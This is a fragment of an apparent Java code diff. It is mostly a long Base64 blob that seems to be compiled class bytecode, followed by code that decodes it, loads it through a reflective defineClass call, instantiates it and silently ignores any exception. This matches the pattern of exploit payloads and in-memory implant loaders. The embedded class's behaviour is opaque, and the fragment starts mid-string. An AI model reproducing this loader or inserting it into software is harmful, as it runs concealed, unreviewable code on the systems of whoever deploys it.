gAdgAAAAAADgDZAKsAAQCRAAAACAADAOcA6ACSACkA1wDaAAIAbQAAAhcAAwAJAAAAyirBANKZAAoqwADSpwAHKrYAGzoEAToFGQQ6BhkFxwBkGQbGAF8sxwBDGQa2AGA6BwM2CBUIGQe+ogAuGQcVCDK2AGErtgBimQAZGQcVCDK2AGO+mgANGQcVCDI6BacACYQIAaf/0KcADBkGKyy2ADU6Baf/qToHGQa2AFw6Bqf/nRkFxwAMuwDnWSu3AGW/GQUEtgA2KsEA0pkAGhkFAS22ADmwOge7ACZZGQe2AGe3AGi/GQUqLbYAObA6B7sAJlkZB7YAZ7cAaL8AAwAlAHIAdQDnAJwAowCkAOgAswC6ALsA6AADAHwAAAAvAA4OQwcA0v4ACAcA0gcBHAcA0v0AFwcA5gEs+QAFAghCBwDnCw1UBwDoDkcHAOgAbgAAAG4AGwAAAM8AFADQABcA0QAbANIAJQDUACkA1gAwANcAOwDYAFYA2QBdANoAYADXAGYA3QBpAN4AcgDiAHUA4AB3AOEAfgDiAIEA5ACGAOUAjwDnAJUA6ACcAOoApADrAKYA7ACzAPAAuwDxAL0A8gBvAAAAegAMADMAMwDbAMQACAAwADYA3ADdAAcAdwAHAIoA3gAHAKYADQCKAN8ABwC9AA0AigDfAAcAAADKAM0AdgAAAAAAygDZAKsAAQAAAMoA4ADhAAIAAADKAOIApgADABQAtgCbAJwABAAXALMA4wCaAAUAGwCvAOQAnAAGAJEAAAAIAAMA5wCSAOgACADpAHQAAQBtAAAANwACAAAAAAARpwANALsBklm3AaVXsQCn//UAAAACAHwAAAAEAAIDCQBuAAAACgACAAQAIQAMACIAAQDqAAAAAgDr"; - byte[] bytecode = decodeBase64(bytecodeBase64); + byte[] bytecode = decodeBase64(base64Str); Class clazz = (Class) defineClass.invoke(classLoader, bytecode, 0, bytecode.length); clazz.newInstance(); } catch (Exception ignored) {